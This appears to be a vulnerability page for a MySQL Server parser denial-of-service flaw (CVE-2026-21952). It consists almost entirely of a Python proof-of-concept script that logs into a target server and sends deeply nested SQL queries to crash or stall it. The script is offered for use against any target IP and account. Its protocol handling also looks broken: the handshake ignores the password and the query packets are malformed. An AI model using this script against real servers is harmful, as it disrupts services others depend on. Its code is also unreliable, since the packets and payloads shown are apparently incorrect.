Oracle MySQL Server Parser组件拒绝服务漏洞 (CVE-2026-21952)

import socket import sys # CVE-2026-21952 PoC - MySQL Server Parser DoS # Target: MySQL Server 9.0.0-9.5.0 # Note: Requires high-privilege MySQL account def mysql_handshake(sock, username): # Send handshake response packet packet = b'\x85\xa6\x00\x00\x00\x00\x01\x8f\xa2\x15\x37\x00' packet += username.encode('utf-8') + b'\x00' packet += b'\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' sock.send(packet) response = sock.recv(1024) return response[4] == 0 def send_malicious_query(sock, query): # Send COM_QUERY packet packet = len(query).to_bytes(4, 'little') packet = b'\x03' + packet[1:] # COM_QUERY = 0x03 packet += query.encode('utf-8') sock.send(packet) def exploit(target_ip, target_port, username, password): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # Read greeting packet greeting = sock.recv(1024) # Authenticate if not mysql_handshake(sock, username): print(f'[-] Authentication failed') return False print(f'[+] Authenticated successfully') # Send malicious queries targeting Parser component # These queries may trigger DoS conditions in Parser malicious_queries = [ # Nested subqueries with complex parsing 'SELECT * FROM (SELECT * FROM (SELECT * FROM (SELECT * FROM (SELECT * FROM information_schema.tables) t1) t2) t3) t4', # Deeply nested parentheses 'SELECT (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((1)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))', # Complex JOIN with malformed syntax 'SELECT * FROM t1 JOIN t2 ON t1.a = t2.a AND (SELECT * FROM (SELECT 1) AS subq WHERE EXISTS (SELECT * FROM (SELECT 1) AS subq2))' ] for i, query in enumerate(malicious_queries, 1): print(f'[*] Sending malicious query {i}...') send_malicious_query(sock, query) try: response = sock.recv(4096) print(f'[+] Query {i} sent, response: {response[:50]}') except socket.timeout: print(f'[+] Query {i} triggered timeout - possible DoS condition') return True except Exception as e: print(f'[-] Error: {e}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: {sys.argv[0]} <target_ip> <port> <username> <password>') sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])